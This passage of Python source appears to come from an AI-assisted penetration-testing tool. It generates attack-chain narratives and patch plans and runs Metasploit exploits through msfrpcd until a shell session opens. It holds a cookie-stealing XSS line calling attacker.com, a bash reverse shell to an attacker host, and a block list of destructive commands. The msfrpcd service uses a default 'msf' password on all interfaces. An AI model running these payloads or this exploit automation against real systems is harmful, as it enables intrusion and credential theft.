    for s in parsed["suggestions"]:
        if not isinstance(s, dict): continue
        cmd = (s.get("command") or "").strip()
        if not cmd: continue
        # Strip dangerous flags out of the suggested command
        for bad in ("rm -rf", "mkfs", "dd if=", ":(){:", "shutdown", "halt", "reboot"):
            if bad in cmd:
                cmd = ""
                break
        if not cmd: continue
        cleaned.append({
            "action":     s.get("action", "nmap_nse"),
            "command":    cmd,
            "nse_script": s.get("nse_script", "") or "",
            "rationale":  s.get("rationale", ""),
        })

    if not cleaned:
        return rule_payload
    return {
        "suggestions": cleaned,
        "summary":     parsed.get("summary", "AI next-step plan ready."),
    }


# Feature 13 — AI Impact + Damage + Patch Plan
# Attack-Chain Impact Analysis
# Converts a single "minor" vulnerability into a full kill-chain showing how
# an attacker escalates from that initial foothold to full system compromise.
# Displayed in the Findings tab so readers understand business risk, not just
# CVE score.
def ai_vuln_impact_chain(
    title: str,
    output: str,
    port: int = 0,
    service_name: str = "",
    ip: str = "",
) -> dict:
    """
    Ask AI to produce a chained attack narrative for a single finding.
    Returns:
    {
      "initial_access": "brief description of the vulnerability entry point",
      "chain": [
        {"step": 1, "technique": "Session Hijack",
         "detail": "Steal admin cookie via XSS payload → document.cookie exfil",
         "mitre": "T1539"},
        ...
      ],
      "severity_upgrade": "Low → Critical",
      "business_impact": "Full server compromise, credential theft, ransomware"
    }
    Falls back to a generic chain if AI is unavailable.
    """
    finding_text = (title or "")[:160] + " | " + (output or "")[:300]
    svc_ctx = f"port {port} ({service_name})" if port else (service_name or "unknown service")

    # Rule-based fallback — one generic chain per common finding type
    tl = title.lower() if title else ""
    op = output.lower() if output else ""
    generic_chain: list = []
    sev_up = "Medium → High"

    if any(k in tl or k in op for k in ("xss", "cross-site", "script")):
        sev_up = "Low/Medium → Critical"
        generic_chain = [
            {"step": 1, "technique": "Cookie Theft", "mitre": "T1539",
             "detail": "Inject `<script>fetch('https://attacker.com/?c='+document.cookie)</script>` to exfiltrate session tokens."},
            {"step": 2, "technique": "Session Hijack", "mitre": "T1078",
             "detail": "Replay stolen session cookie to authenticate as victim (or admin)."},
            {"step": 3, "technique": "Privilege Escalation", "mitre": "T1068",
             "detail": "If victim is an admin, access the admin panel to escalate privileges."},
            {"step": 4, "technique": "Webshell Upload", "mitre": "T1505.003",
             "detail": "Use admin file-upload to deploy a PHP/ASPX webshell → Remote Code Execution."},
            {"step": 5, "technique": "Persistence + Lateral Move", "mitre": "T1136",
             "detail": "Add backdoor OS user; pivot to internal network via the shell."},
        ]
        business = "Full web-app takeover → RCE on the server → lateral movement to internal network."
    elif any(k in tl or k in op for k in ("sqli", "sql inject", "sqlmap")):
        sev_up = "Medium → Critical"
        generic_chain = [
            {"step": 1, "technique": "Data Exfiltration", "mitre": "T1005",
             "detail": "Dump all database tables including users, passwords, PII."},
            {"step": 2, "technique": "Credential Access", "mitre": "T1110",
             "detail": "Crack dumped password hashes (bcrypt/MD5) using hashcat/john."},
            {"step": 3, "technique": "Privilege Escalation", "mitre": "T1078",
             "detail": "Authenticate as admin using cracked credentials → full application access."},
            {"step": 4, "technique": "OS Command Injection", "mitre": "T1059",
             "detail": "If DB runs as DBA, use xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL) to write webshell."},
        ]
        business = "Full database breach (PII, credentials) → potential OS-level code execution."
    elif any(k in tl or k in op for k in ("dirb", "directory", "path", "/admin", "/backup", "sensitive file")):
        sev_up = "Info → High"
        generic_chain = [
            {"step": 1, "technique": "Information Gathering", "mitre": "T1083",
             "detail": f"Discovered path reveals config files, backups or admin panels at {ip}:{port}."},
            {"step": 2, "technique": "Credential Harvesting", "mitre": "T1552",
             "detail": "Backup files (.bak, .zip) may contain plaintext DB passwords or API keys."},
            {"step": 3, "technique": "Authentication Bypass", "mitre": "T1078",
             "detail": "Admin panel accessible without auth or with default credentials (admin:admin)."},
            {"step": 4, "technique": "Remote Code Execution", "mitre": "T1505",
             "detail": "Admin panel provides file upload or code execution → full server compromise."},
        ]
        business = "Exposure of sensitive paths enables credential theft and authenticated admin access."
    elif any(k in tl or k in op for k in ("rce", "remote code", "command inject", "shell")):
        sev_up = "High → Critical"
        generic_chain = [
            {"step": 1, "technique": "Initial RCE", "mitre": "T1190",
             "detail": "Execute arbitrary OS commands via the vulnerability."},
            {"step": 2, "technique": "Reverse Shell", "mitre": "T1059",
             "detail": "Spawn a reverse shell: `bash -i >& /dev/tcp/attacker/4445 0>&1`"},
            {"step": 3, "technique": "Privilege Escalation", "mitre": "T1068",
             "detail": "Check sudo, SUID binaries, kernel exploits (e.g. DirtyCow)."},
            {"step": 4, "technique": "Credential Dump", "mitre": "T1003",
             "detail": "Dump /etc/shadow, memory (mimikatz on Windows) for lateral movement."},
            {"step": 5, "technique": "Lateral Movement", "mitre": "T1021",
             "detail": "Use found creds/SSH keys to pivot to other hosts in the subnet."},
        ]
        business = "Immediate full server compromise; attacker gains OS-level control."
    else:
        generic_chain = [
            {"step": 1, "technique": "Initial Foothold", "mitre": "T1190",
             "detail": f"Exploit {title} on {svc_ctx} to gain initial access."},
            {"step": 2, "technique": "Privilege Escalation", "mitre": "T1068",
             "detail": "Enumerate local misconfigurations (sudo -l, SUID, world-writable cron)."},
            {"step": 3, "technique": "Lateral Movement", "mitre": "T1021",
             "detail": "Use credentials or SSH keys found on this host to access neighbouring systems."},
        ]
        business = "Vulnerability provides a foothold enabling further network compromise."

    fallback = {
        "initial_access": f"{title} on {svc_ctx}",
        "chain": generic_chain,
        "severity_upgrade": sev_up,
        "business_impact": business,
    }

    prompt = (
        "You are an expert penetration tester explaining attack chains to a client.\n"
        f"FINDING: {finding_text}\n"
        f"SERVICE: {svc_ctx} on {ip}\n\n"
        "Show how an attacker escalates THIS specific finding into a full system compromise. "
        "Be concrete — name exact techniques, tools (sqlmap, metasploit, mimikatz etc.), "
        "and MITRE ATT&CK technique IDs.\n\n"
        'Respond ONLY with JSON:\n'
        '{"initial_access":"<1-sentence entry point>","chain":['
        '{"step":1,"technique":"<name>","detail":"<what attacker does>","mitre":"T????"},'
        '...],"severity_upgrade":"<original> → <chained>","business_impact":"<1 sentence>"}'
    )
    raw = call_ai_fast(prompt, timeout=10.0)
    parsed = _parse_json(raw)
    if not parsed or not isinstance(parsed.get("chain"), list):
        return fallback
    out = dict(fallback)
    for k in ("initial_access", "severity_upgrade", "business_impact"):
        if parsed.get(k):
            out[k] = parsed[k]
    if parsed.get("chain"):
        out["chain"] = parsed["chain"]
    return out


# Per-finding analysis that answers: what does this vulnerable service let
# an attacker do, what's the blast radius, and what is the *exact* patch
# (specific version, OS package, configuration change) to fix it.
def ai_impact_and_patch_plan(finding: dict, service: dict = None,
                              os_name: str = "") -> dict:
    """
    Returns:
      {
        "impact": "what an attacker can do (data exfil, RCE, lateral move...)",
        "damage_scenarios": ["short concrete scenario", ...],
        "blast_radius":    "this host" | "subnet" | "domain" | "internet",
        "data_at_risk":    "credentials | PII | source code | financials | ...",
        "remediation_steps": ["step 1", ...],
        "patch": {
          "linux":   "apt-get install pkg=1.2.3-... && systemctl restart svc",
          "windows": "PowerShell command or KB number",
          "docker":  "FROM image:tag-patched (or '' if N/A)",
          "config":  "/etc/foo.conf change (or '' if N/A)"
        },
        "verification": "command to run that proves the fix worked",
        "urgency": "IMMEDIATE | 7-DAYS | 30-DAYS",
      }
    Falls back to a generic patch if AI is unavailable.
    """
    service = service or {}
    cid       = finding.get("id", "")
    score     = finding.get("score") or 0
    severity  = finding.get("severity", "")
    product   = finding.get("product") or service.get("product", "")
    version   = finding.get("version") or service.get("version", "")
    desc      = (finding.get("description") or finding.get("evidence") or "")[:240]
    port      = service.get("port", "")

    # Heuristic urgency / blast radius for the rule-based fallback
    if (score or 0) >= 9 or "KEV" in str(severity).upper():
        urg, blast = "IMMEDIATE", "subnet"
    elif (score or 0) >= 7:
        urg, blast = "7-DAYS", "this host"
    else:
        urg, blast = "30-DAYS", "this host"

    fallback = {
        "impact":   f"{cid or 'Vulnerability'} in {product} {version} on port {port} "
                    "may allow an attacker to compromise the affected service.",
        "damage_scenarios": [
            "Attacker gains a foothold on the host",
            "Lateral movement to other internal services becomes possible",
            "Sensitive data on the host may be exfiltrated",
        ],
        "blast_radius":     blast,
        "data_at_risk":     "service-specific data; review accordingly",
        "remediation_steps": [
            f"Identify the running version of {product or 'the service'}",
            "Apply the vendor-supplied security patch",
            "Restart the service and re-scan to confirm the CVE no longer matches",
        ],
        "patch": {
            "linux":   "apt-get update && apt-get install --only-upgrade "
                       f"{(product or 'package').split()[0].lower()}",
            "windows": "Install-WindowsUpdate -AcceptAll -AutoReboot",
            "docker":  "",
            "config":  "",
        },
        "verification": (f"nmap -p {port} --script vuln {service.get('ip','TARGET')} "
                         f"| grep -i '{cid or product}'"),
        "urgency": urg,
    }

    prompt = (
        "You are a senior IR/blue-team engineer writing an actionable patch plan "
        "for a specific finding. Be CONCRETE: name exact packages, version numbers, "
        f"KB IDs, config keys when known. Target OS: {os_name or 'unknown'}.\n\n"
        f"FINDING:\n  id={cid}\n  severity={severity}\n  cvss={score}\n"
        f"  product={product}\n  version={version}\n  port={port}\n"
        f"  description={desc}\n\n"
        "Produce JSON with: impact (1 short paragraph), damage_scenarios (3-4 short "
        "concrete scenarios), blast_radius (this host / subnet / domain / internet), "
        "data_at_risk (what kind of data), remediation_steps (3-6 ordered steps), "
        "patch.linux / patch.windows / patch.docker / patch.config (use empty string "
        "if not applicable for that OS/path), verification (a single command that "
        "proves the fix works), urgency (IMMEDIATE / 7-DAYS / 30-DAYS).\n\n"
        'Respond ONLY with JSON: {'
        '"impact":"...","damage_scenarios":["..."],"blast_radius":"...",'
        '"data_at_risk":"...","remediation_steps":["..."],'
        '"patch":{"linux":"...","windows":"...","docker":"...","config":"..."},'
        '"verification":"...","urgency":"IMMEDIATE"'
        '}'
    )
    raw = call_ai_fast(prompt, timeout=12.0)
    parsed = _parse_json(raw)
    if not parsed:
        return fallback

    # Fill any missing keys from the fallback so the API shape is stable
    out = dict(fallback)
    for k, v in parsed.items():
        if v:
            out[k] = v
    patch = parsed.get("patch") or {}
    if isinstance(patch, dict):
        for k in ("linux", "windows", "docker", "config"):
            if patch.get(k):
                out["patch"][k] = patch[k]
    return out


"""msfrpc_runner.py — Run Metasploit modules via msfrpcd interactive console."""
from typing import Callable, Optional

MSFRPC_HOST = os.environ.get("MSFRPC_HOST", "127.0.0.1")
MSFRPC_PORT = int(os.environ.get("MSFRPC_PORT", "55553"))
MSFRPC_USER = os.environ.get("MSFRPC_USER", "msf")
MSFRPC_PASS = os.environ.get("MSFRPC_PASS", "msf")

_msf_client = None


def _is_port_open(host: str, port: int, timeout: float = 1.0) -> bool:
    try:
        with socket.create_connection((host, port), timeout=timeout):
            return True
    except Exception:
        return False


def ensure_msfrpcd_running(timeout: float = 40.0,
                            log_fn: Optional[Callable] = None) -> bool:
    """
    Make sure msfrpcd is up.  Starts it if not already running.
    The Dockerfile entrypoint should start it, but this is the safety net.
    """
    if _is_port_open(MSFRPC_HOST, MSFRPC_PORT):
        return True
    if log_fn:
        log_fn(f"[MSF] msfrpcd not on {MSFRPC_HOST}:{MSFRPC_PORT} — starting it")
    try:
        subprocess.Popen(
            ["msfrpcd", "-P", MSFRPC_PASS, "-U", MSFRPC_USER,
             "-S", "-a", "0.0.0.0", "-p", str(MSFRPC_PORT)],
            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
        )
    except FileNotFoundError:
        if log_fn:
            log_fn("[MSF] msfrpcd binary not found")
        return False

    deadline = time.time() + timeout
    while time.time() < deadline:
        if _is_port_open(MSFRPC_HOST, MSFRPC_PORT):
            if log_fn:
                log_fn("[MSF] msfrpcd is up")
            return True
        time.sleep(1)
    if log_fn:
        log_fn("[MSF] msfrpcd did not come up in time")
    return False


def _get_msf_client(log_fn: Optional[Callable] = None):
    """Get or create a cached MsfRpcClient connected to msfrpcd."""
    global _msf_client
    if _msf_client is not None:
        try:
            # Quick liveness check
            _msf_client.core.version
            return _msf_client
        except Exception:
            _msf_client = None

    try:
        from pymetasploit3.msfrpc import MsfRpcClient
    except ImportError as e:
        if log_fn:
            log_fn(f"[MSF] pymetasploit3 not installed: {e}")
        return None

    try:
        _msf_client = MsfRpcClient(MSFRPC_PASS,
                                    username=MSFRPC_USER,
                                    server=MSFRPC_HOST,
                                    port=MSFRPC_PORT,
                                    ssl=False)
        if log_fn:
            log_fn("[MSF] connected to msfrpcd")
        return _msf_client
    except Exception as e:
        if log_fn:
            log_fn(f"[MSF] connect failed: {e}")
        return None


_KNOWN_MSF_MODULES: set = set()      # populated lazily from msfrpcd
_KNOWN_MSF_MODULES_LOCK = threading.Lock()


def _get_known_msf_modules() -> set:
    """Return the set of every real exploit/auxiliary module path in this
    Metasploit install (e.g. 'exploit/unix/ftp/vsftpd_234_backdoor').

    Fetched once from msfrpcd and cached. This is ground truth: if an AI hands
    back 'exploit/multi/dns/bind9_aaaas' (which it hallucinated), it simply
        """
    global _KNOWN_MSF_MODULES
    if _KNOWN_MSF_MODULES:
        return _KNOWN_MSF_MODULES
    with _KNOWN_MSF_MODULES_LOCK:
        if _KNOWN_MSF_MODULES:
            return _KNOWN_MSF_MODULES
        try:
            client = _get_msf_client()
            if client is None:
                return set()
            mods = set()
            for path in (client.modules.exploits or []):
                mods.add(f"exploit/{path}")
            for path in (client.modules.auxiliary or []):
                mods.add(f"auxiliary/{path}")
            _KNOWN_MSF_MODULES = mods
            logger.info(f"[MSF] cached {len(mods)} real module paths for validation")
        except Exception as e:
            logger.info(f"[MSF] could not enumerate modules for validation: {e}")
            return set()
    return _KNOWN_MSF_MODULES


def _is_real_msf_module(module: str) -> bool:
    """True if `module` exists in this MSF install. When the live module list
    can't be fetched (msfrpcd down), fall back to the curated rule tables so we
    still reject obvious hallucinations but never block a known-good module."""
    if not module:
        return False
    module = module.strip()
    known = _get_known_msf_modules()
    if known:
        return module in known
    # Fallback allowlist: everything we hand-verified in the rule tables.
    try:
        rule_modules = {mod for (_p, _kw), (mod, _pl, _nl) in EXPLOIT_MAP.items()}
        rule_modules |= set(_MSF_HINTS.values())
    except Exception:
        rule_modules = set()
    return module in rule_modules


def _console_exec(console, command: str, wait: float = 30.0,
                  emit_fn: Optional[Callable] = None) -> str:
    """
    Send a command to an msfrpcd console, wait for it to finish (busy=False),
    and return the accumulated output.  Streams lines to emit_fn in real time.

    Fixes the "(no output)" bug where the previous version exited the read
    loop on the very first idle reply — but msfrpcd routinely returns
    busy=False *before* the command has even started, especially for slow
    operations like `sessions -l` or `search`. We now:
      1. Always sleep briefly after writing so msfrpcd registers the cmd.
      2. Track whether we've EVER seen output; if not, keep polling.
      3. After output starts arriving, require two consecutive idle reads
         (busy=False, no new data) before declaring the command complete.
    """
    if command:
        try:
            console.write(command + ("\n" if not command.endswith("\n") else ""))
        except Exception:
            # legacy pymetasploit3: write() raises if argument has no newline
            console.write(command)

    output = ""
    deadline = time.time() + wait
    saw_output = False
    idle_streak = 0
    # Give msfrpcd a moment to start executing — without this we'd see
    # busy=False on the very first read and bail with "".
    time.sleep(0.3)

    while time.time() < deadline:
        res = console.read() or {}
        data = res.get("data", "")
        busy = bool(res.get("busy", False))

        if data:
            saw_output = True
            idle_streak = 0
            output += data
            if emit_fn:
                for line in data.splitlines():
                    if line.strip():
                        lvl = ("error" if any(x in line for x in ("[-]", "Error", "failed"))
                               else ("ok" if any(x in line for x in ("[+]", "session", "Opened"))
                                     else "info"))
                        emit_fn(line.rstrip(), lvl)
        else:
            if not busy:
                idle_streak += 1
            else:
                idle_streak = 0

        # Exit conditions:
        #  - we've seen output AND two idle reads in a row (cmd done)
        #  - we've seen NO output for >2s AND console says it's idle
        if saw_output and idle_streak >= 2:
            break
        if not saw_output and not busy and (time.time() - (deadline - wait)) > 2.5:
            # Console was idle from the very first poll for >2.5s — the
            # command produced nothing. Stop waiting.
            break

        time.sleep(0.35)
    return output


def _parse_search_result(output: str) -> Optional[str]:
    """
    Parse 'search' output and return the module path from index 0.
    Typical line:  '   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03  ...'
    """
    for line in output.splitlines():
        stripped = line.strip()
        # Match lines starting with a number (the index)
        m = re.match(r"^\s*(\d+)\s+(exploit/\S+|auxiliary/\S+|post/\S+)", line)
        if m and m.group(1) == "0":
            return m.group(2)
    return None


def _db_import_nmap(console, scan_dir: str, emit_fn=None):
    """Import the latest nmap XML from results dir into MSF's PostgreSQL DB."""
    import glob as _glob
    xmls = sorted(_glob.glob(f"{scan_dir}/*.xml"), key=os.path.getmtime, reverse=True)
    if xmls:
        xml_path = xmls[0]
        if emit_fn:
            emit_fn(f"[MSF] db_import {xml_path}", "info")
        _console_exec(console, f"db_import {xml_path}", wait=15, emit_fn=emit_fn)


# Maps a module path to one or more payloads that the module's Ruby code
# actually accepts. We consult this before sending `set PAYLOAD …` so we never
# again hit "cmd/unix/reverse_perl is not a compatible payload" style errors.
_MSF_PAYLOAD_COMPAT = {
    # postgres_payload only accepts native linux exec/meterpreter — NOT cmd/unix/*
    # bind_* variants included so the NAT-aware reverse→bind swap isn't undone.
    "exploit/linux/postgres/postgres_payload": [
        "linux/x86/meterpreter/reverse_tcp",
        "linux/x64/meterpreter/reverse_tcp",
        "linux/x86/shell_reverse_tcp",
        "linux/x86/meterpreter/bind_tcp",
        "linux/x64/meterpreter/bind_tcp",
        "linux/x86/shell_bind_tcp",
    ],
    "exploit/multi/http/tomcat_mgr_upload": [
        "java/meterpreter/reverse_tcp",
        "java/jsp_shell_reverse_tcp",
        "java/meterpreter/bind_tcp",
        "java/jsp_shell_bind_tcp",
    ],
    "exploit/multi/http/tomcat_mgr_deploy": [
        "java/meterpreter/reverse_tcp",
        "java/jsp_shell_reverse_tcp",
        "java/meterpreter/bind_tcp",
        "java/jsp_shell_bind_tcp",
    ],
    "exploit/linux/misc/drb_remote_codeexec": [
        "cmd/unix/reverse",        # ← drb wants the generic "reverse" cmd payload
        "cmd/unix/reverse_bash",
        "cmd/unix/reverse_perl",
        "cmd/unix/bind_perl",
        "cmd/unix/bind_netcat",
    ],
    "exploit/unix/misc/distcc_exec": [
        "cmd/unix/reverse_bash",
        "cmd/unix/reverse",
        "cmd/unix/reverse_perl",
        "cmd/unix/bind_perl",
        "cmd/unix/bind_netcat",
    ],
    "exploit/unix/ftp/proftpd_modcopy_exec": [
        "cmd/unix/reverse_perl",
        "cmd/unix/reverse_python",
        "cmd/unix/bind_perl",
    ],
    "exploit/multi/misc/java_rmi_server": [
        "java/meterpreter/reverse_tcp",
        "java/meterpreter/bind_tcp",
        "java/shell/bind_tcp",
    ],
    "exploit/multi/samba/usermap_script": [""],   # bind shell — no PAYLOAD
    "exploit/unix/ftp/vsftpd_234_backdoor": [""], # backdoor — no PAYLOAD
    "exploit/unix/irc/unreal_ircd_3281_backdoor": [""],
}


def _pick_compatible_payload(module_name: str, requested: str) -> str:
    """Return a payload that the module is known to accept.
    Falls back to whatever the caller requested if the module isn't in the table."""
    compat = _MSF_PAYLOAD_COMPAT.get(module_name)
    if compat is None:
        return requested or ""
    # If the caller's payload is in the compat list, keep it.
    if requested and requested in compat:
        return requested
    # Otherwise return the first known-good payload (may be "" for backdoors).
    return compat[0]


def msfrpc_run_exploit(module_name: str,
                rhosts: str,
                rport: int,
                *,
                cve: str = "",
                payload: str = "",
                lhost: str = "0.0.0.0",
                lport: int = 4445,
                needs_lhost: bool = True,
                extra_opts: Optional[dict] = None,
                on_line: Optional[Callable[[str, str], None]] = None,
                fallback_module: str = "",
                timeout: float = 120.0) -> dict:
    """
    Run a Metasploit exploit interactively via the msfrpcd console API.

    `fallback_module` is a known-real, rule-based module path. If the primary
    module (often AI-picked) does not load — e.g. the model hallucinated a
    plausible-looking but non-existent path like
    `exploit/unix/ftp/vsftpd_2024_backdoor` — we transparently retry with this
    verified module instead of returning "no session created". This is what
    stops the "fake exploit" behaviour the AI sometimes produces.

    Workflow (mirrors manual Kali usage):
        1. Connect to msfrpcd  →  open a console
        2. If `cve` provided  →  search cve:<id>  →  use 0
           Else               →  use <module_name>
        3. set RHOSTS / RPORT / LHOST / LPORT
        4. exploit  (foreground)
        5. Poll sessions.list for opened session

    Falls back to msfconsole -x one-liner if msfrpcd is unreachable.
    """
    extra_opts = extra_opts or {}
    output_lines: list = []

    def emit(line: str, level: str = "info") -> None:
        output_lines.append(line)
        if on_line:
            try:
                on_line(line, level)
            except Exception:
                pass

    started = time.time()

    if ensure_msfrpcd_running(timeout=20, log_fn=lambda m: emit(m, "info")):
        client = _get_msf_client(log_fn=lambda m: emit(m, "info"))
        if client is not None:
            console = None
            try:
                console = client.consoles.console()
                emit("[MSF] console opened", "info")

                # Wait for console to be ready (initial banner)
                time.sleep(2)
                console.read()  # drain welcome banner

                # Import nmap results if available
                _db_import_nmap(console, "/app/results", emit_fn=emit)

                resolved_module = module_name

                if cve:
                    # Search by CVE — exactly like typing "search cve:2011-2523"
                    cve_clean = cve.upper().replace("CVE-", "").strip()
                    search_cmd = f"search cve:{cve_clean}"
                    emit(f"[MSF] {search_cmd}", "info")
                    search_out = _console_exec(console, search_cmd, wait=30,
                                                emit_fn=emit)
                    found_module = _parse_search_result(search_out)
                    if found_module:
                        resolved_module = found_module
                        emit(f"[MSF] found: {resolved_module}", "ok")
                    else:
                        emit(f"[MSF] CVE search returned no exploits, "
                             f"using provided module: {module_name}", "info")

                emit(f"[MSF] use {resolved_module}", "info")
                use_out = _console_exec(console, f"use {resolved_module}",
                                          wait=10, emit_fn=emit)

                # Detect a failed `use` — msfconsole prints one of these when
                # the module didn't load. If we don't catch this, the next
                # `exploit` command fails with the misleading "Unknown command".
                _use_failed_markers = (
                    "failed to load module",
                    "no module loaded",
                    "no results from search",
                    "module name is ambiguous",
                    "uninitialized constant",
                )
                low_use = (use_out or "").lower()
                if any(m in low_use for m in _use_failed_markers):
                    err = next((m for m in _use_failed_markers if m in low_use),
                                "unknown error")
                    # The (often AI-picked) module doesn't exist in this MSF
                    # install. Before giving up, retry with the verified,
                    # rule-based fallback module — this is what turns a "fake
                    # exploit / no session" into a real shell when a known-good
                    # module exists for the service.
                    retried = False
                    if fallback_module and fallback_module != resolved_module:
                        emit(f"[MSF] ⚠ `{resolved_module}` is not a real module "
                             f"({err}). Retrying with verified module "
                             f"{fallback_module}", "warn")
                        resolved_module = fallback_module
                        use_out = _console_exec(console, f"use {resolved_module}",
                                                  wait=10, emit_fn=emit)
                        low_use = (use_out or "").lower()
                        retried = not any(m in low_use for m in _use_failed_markers)
                        if retried:
                            emit(f"[MSF] ✔ fallback module loaded: {resolved_module}", "ok")
                    if not retried and any(m in low_use for m in _use_failed_markers):
                        emit(f"[MSF] ✘ `use {resolved_module}` did NOT load the "
                             f"module ({err}). Aborting before `exploit`.", "error")
                        return {
                            "ok":              False,
                            "module":          resolved_module,
                            "session_opened":  False,
                            "session_id":      "",
                            "output":          "\n".join(output_lines),
                            "error":           f"use failed: {err} (module does not exist "
                                               f"in this Metasploit install)",
                            "duration_s":      round(time.time() - started, 1),
                            "path":            "rpc_console",
                        }

                # Double-check by reading the prompt — after a successful `use`
                # the prompt becomes `msf6 exploit(<mod>) >`. If it's still the
                # bare `msf6 >`, the module didn't load.
                prompt_probe = _console_exec(console, "", wait=2)
                if "exploit(" not in (prompt_probe or "") \
                        and "auxiliary(" not in (prompt_probe or "") \
                        and "post(" not in (prompt_probe or "") \
                        and resolved_module not in (prompt_probe or ""):
                    # Try once more, sometimes the read races
                    prompt_probe = _console_exec(console, "", wait=3)

                _console_exec(console, f"set RHOSTS {rhosts}", wait=5)
                _console_exec(console, f"set RPORT {rport}", wait=5)
                emit(f"[MSF] set RHOSTS {rhosts}, RPORT {rport}", "info")

                for k, v in extra_opts.items():
                    _console_exec(console, f"set {k} {v}", wait=5)

                is_auxiliary = resolved_module.startswith("auxiliary/")
                is_bind = False

                # If this is a reverse-shell exploit but our LHOST is NOT on the
                # target's subnet (the Docker case: LHOST 172.18.0.3 vs target
                # 192.168.64.2), the target physically cannot connect back to
                # us, so the reverse shell silently fails ("Exploit completed,
                # but no session was created"). Switch to the bind-shell
                # equivalent: the target listens and WE connect in — which works
                # because we can already reach the target (we just scanned it).
                if needs_lhost and not is_auxiliary and payload \
                        and not _same_subnet(lhost, rhosts):
                    bind_payload = _to_bind_payload(payload)
                    if bind_payload:
                        emit(f"[MSF] LHOST {lhost} is not on the target's "
                             f"network ({rhosts}) — a reverse shell can't call "
                             f"back. Switching to BIND payload: {payload} → "
                             f"{bind_payload}", "warn")
                        payload = bind_payload
                        needs_lhost = False  # bind shells take LPORT, not LHOST
                        is_bind = True

                # Substitute an incompatible payload with one the module
                # actually accepts (fixes "X is not a compatible payload").
                chosen_payload = _pick_compatible_payload(resolved_module, payload)
                if payload and chosen_payload != payload:
                    emit(f"[MSF] payload swap: {payload} → {chosen_payload} "
                         f"(picked from compatibility table)", "info")
                payload = chosen_payload

                if payload and not is_auxiliary:
                    pay_out = _console_exec(console, f"set PAYLOAD {payload}",
                                              wait=5)
                    if "is not a compatible payload" in (pay_out or "").lower():
                        # Last-ditch fallback: walk the compat list
                        for alt in _MSF_PAYLOAD_COMPAT.get(resolved_module, []):
                            if alt and alt != payload:
                                alt_out = _console_exec(console, f"set PAYLOAD {alt}",
                                                          wait=5)
                                if "compatible" not in (alt_out or "").lower():
                                    emit(f"[MSF] payload retry OK: {alt}", "ok")
                                    payload = alt
                                    break
                        else:
                            emit(f"[MSF] could not find a compatible payload "
                                 f"for {resolved_module} — clearing PAYLOAD", "warn")
                            payload = ""
                    else:
                        emit(f"[MSF] set PAYLOAD {payload}", "info")

                if needs_lhost and not is_auxiliary:
                    _console_exec(console, f"set LHOST {lhost}", wait=5)
                    _console_exec(console, f"set LPORT {lport}", wait=5)
                    emit(f"[MSF] set LHOST {lhost}, LPORT {lport}", "info")
                elif is_bind and not is_auxiliary:
                    # Bind shells listen on the TARGET at LPORT — no LHOST.
                    _console_exec(console, f"set LPORT {lport}", wait=5)
                    emit(f"[MSF] set LPORT {lport} (bind — connecting to "
                         f"{rhosts}:{lport})", "info")

                if is_auxiliary:
                    run_cmd = "run"
                elif not needs_lhost:
                    # Backdoor/bind exploit — run foreground, session opens inline
                    run_cmd = "exploit"
                else:
                    # Reverse shell — background job so we can poll for session
                    run_cmd = "exploit -j -z"

                # Snapshot the session IDs that already exist BEFORE we fire
                # the exploit. Any ID that appears after = a session this
                # exploit opened. This replaces the old, fragile
                # `target_host.startswith(rhosts)` match, which silently failed
                # whenever Metasploit reported the peer in `tunnel_peer` /
                # `session_host` instead of `target_host` (or left it blank) —
                # the #1 cause of "exploit completed but no session created"
                # even when a shell actually opened.
                try:
                    pre_session_ids = set(str(s) for s in (client.sessions.list or {}).keys())
                except Exception:
                    pre_session_ids = set()

                emit(f"[MSF] {run_cmd}", "info")
                _console_exec(console, run_cmd, wait=15, emit_fn=emit)

                def _session_matches_target(sinfo: dict) -> bool:
                    """True if this session looks like it points at our target.
                    Checks every field MSF might place the peer IP in."""
                    blob = " ".join(str(sinfo.get(k, "")) for k in (
                        "target_host", "session_host", "tunnel_peer",
                        "tunnel_local", "info", "via_payload"))
                    return rhosts in blob

                session_opened = False
                session_id = ""
                poll_deadline = time.time() + min(timeout, 90)

                while time.time() < poll_deadline:
                    # Check sessions — a NEW id (not in the pre-exploit
                    # snapshot) is the strongest possible signal of success.
                    try:
                        sessions = client.sessions.list or {}
                        # Prefer a brand-new session that matches our target.
                        for sid, sinfo in sessions.items():
                            sid_s = str(sid)
                            is_new = sid_s not in pre_session_ids
                            if is_new and (_session_matches_target(sinfo)
                                           or len(sessions) > len(pre_session_ids)):
                                session_opened = True
                                session_id = sid_s
                                emit(f"[MSF] Session {sid_s} opened → "
                                     f"{sinfo.get('type','shell')} "
                                     f"({sinfo.get('info') or sinfo.get('tunnel_peer','')})",
                                     "ok")
                                break
                        # Fallback: any pre-existing session that matches target
                        if not session_opened:
                            for sid, sinfo in sessions.items():
                                if _session_matches_target(sinfo):
                                    session_opened = True
                                    session_id = str(sid)
                                    emit(f"[MSF] Session {sid} matches target → "
                                         f"{sinfo.get('type','shell')}", "ok")
                                    break
                    except Exception:
                        pass

                    if session_opened:
                        break

                    # Drain console output
                    try:
                        r = console.read()
                        data = (r or {}).get("data", "")
                        if data:
                            for line in data.splitlines():
                                if line.strip():
                                    if "session" in line.lower() and "opened" in line.lower():
                                        session_opened = True
                                    emit(line.rstrip(), "info")
                    except Exception:
                        pass

                    time.sleep(3)

                # Final reconciliation: re-check the session table one last time
                # so a shell that landed during the last sleep isn't reported as
                # a failure.
                if not session_opened:
                    try:
                        sessions = client.sessions.list or {}
                        new_ids = [str(s) for s in sessions.keys()
                                   if str(s) not in pre_session_ids]
                        if new_ids:
                            session_opened = True
                            session_id = new_ids[0]
                            emit(f"[MSF] Session {session_id} confirmed on final check", "ok")
                    except Exception:
                        pass

                if not session_opened:
                    sess_out = _console_exec(console, "sessions -l", wait=10,
                                              emit_fn=emit)
                    if "opened" in sess_out.lower() or re.search(r"\d+\s+\w+shell", sess_out):
                        session_opened = True

                return {
                    "ok":              True,
                    "module":          resolved_module,
                    "session_opened":  session_opened,
                    "session_id":      session_id,
                    "output":          "\n".join(output_lines),
                    "duration_s":      round(time.time() - started, 1),
                    "path":            "rpc_console",
                }

            except Exception as e:
                emit(f"[MSF] RPC console error: {e} — falling back to CLI", "error")
            finally:
                if console is not None:
                    try:
                        console.destroy()
                    except Exception:
                        pass

    emit("[MSF] Falling back to msfconsole -x (msfrpcd unavailable)", "info")

    cmds = []
    if cve:
        # Can't do interactive search in -x mode, so try direct module
        pass
    cmds.append(f"use {module_name}")
    cmds.append(f"set RHOSTS {rhosts}")
